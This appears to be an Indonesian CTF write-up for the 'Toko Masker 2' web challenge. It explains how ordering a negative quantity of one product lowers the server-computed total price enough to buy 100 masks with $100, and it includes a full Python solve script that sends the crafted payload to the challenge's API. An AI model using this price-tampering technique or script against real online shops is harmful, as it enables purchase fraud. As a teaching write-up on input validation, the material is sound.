
Challenge kali ini merupakan sequel dari challenge sebelumnya, Toko Masker 1. Karena web nya masih serupa, kami pun melakukan analisis dengan mengamati bagaimana proses pembuatan state
nya bekerja. Berikut hal-hal yang kami dapatkan:
- Tidak seperti pada Toko Masker 1, kali ini, ketika kami mengirimkan data produk dengan
price
yang telah dimodifikasi,state
yang dihasilkan rupanya memilikiprice
yang sesuai dengan harga aslinya, bukanprice
yang kami input 🙁 - Namun, kami juga menyadari kalau
quantity
yang kami input dapat bernilai negatif (wow), danstate
yang dihasilkan server pun akhirnya memilikiquantity
maupuntotalPrice
yang juga negatif, seperti terlihat pada gambar dibawah ini: - Tapi, saat kami mencoba mengirimkan
state
yang memilikiquantity
maupuntotalPrice
negatif tersebut, server memberikan error “Cannot create invoice”.
Oleh karena itu, kami perlu menemukan cara lain agar tetap dapat membeli 100 buah masker N-99 dengan uang yang hanya $100. Karena total harga 100 buah masker N-99 adalah $10000, kami mencoba mengakali server dengan membeli juga masker Surgical Mask (yang harganya $10 per buah) sebanyak -995 buah, sehingga jika di total:
1 2 3 4 |
totalPrice = (100 x $100) + (10 * -995) totalPrice = 10000 + (-9950) totaPrice = 50 |
Berikut adalah data produk yang kami kirimkan ke server:

Dan ketika state
yang didapatkan dari data produk diatas kami kirimkan ke endpoint /api/v1/getSelectedItems
, respon yang didapatkan adalah sebagai berikut:

Terlihat bahwa value dari totalPrice
adalah 50 sesuai dengan perhitungan diatas. Selanjutnya, kami mengirimkan state
tersebut ke /api/v1/getInvoice
, dan didapatlah flagnya:

Flag = CJ2020{another_variant_of_price_tampering_from_real_case}
Lesson learned nya, selalu validasi input dari pengguna.
Untuk memperjelas, berikut adalah solve script yang kami gunakan untuk menyelesaikan challenge ini:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
import requests import json import urllib.parse URL = "https://tokomasker2.web.cyber.jawara.systems" THE_STATE = "iLA3sw5MkwVQVLzXbrZcbWWIwVwzB6P1q76B3KMGLoctjKV3wOcENIdHYYxQAOoDcnj2coaLxUUN2li2vkYL8J%2BKhNCrJycXAnFVyAEmL4g7JKeJJCkk1FD86eSgSt6A%2Ba5850JWn43u946%2B4fWp5BAi2x0Wbjvmf5MFekTK87603Ju2LqHKaGEP2Eay1zwq" def getState(): uri = "/api/v1/getState" payload = { "selectedItems":[ { "pk": 3, "price":100, "quantity":"100" }, { "pk": 1, "price":10, "quantity":"-995" }, ], "totalPrice": 0 } req = requests.post(URL + uri, json=payload) state = req.text print("[GetState] ", state) return json.loads(state) def getSelectedItems(state): uri = "/api/v1/getSelectedItems" req = requests.post(URL + uri, json=state) response = req.text print("[GetSelItems] ", response) return response def getInvoice(state): uri = "/api/v1/getInvoice" req = requests.post(URL + uri, json=state) response = req.text print("[GetInvoice] ", response) return response state = (getState()) print(urllib.parse.quote(state['state'], safe='')) getSelectedItems(state) getInvoice(state) |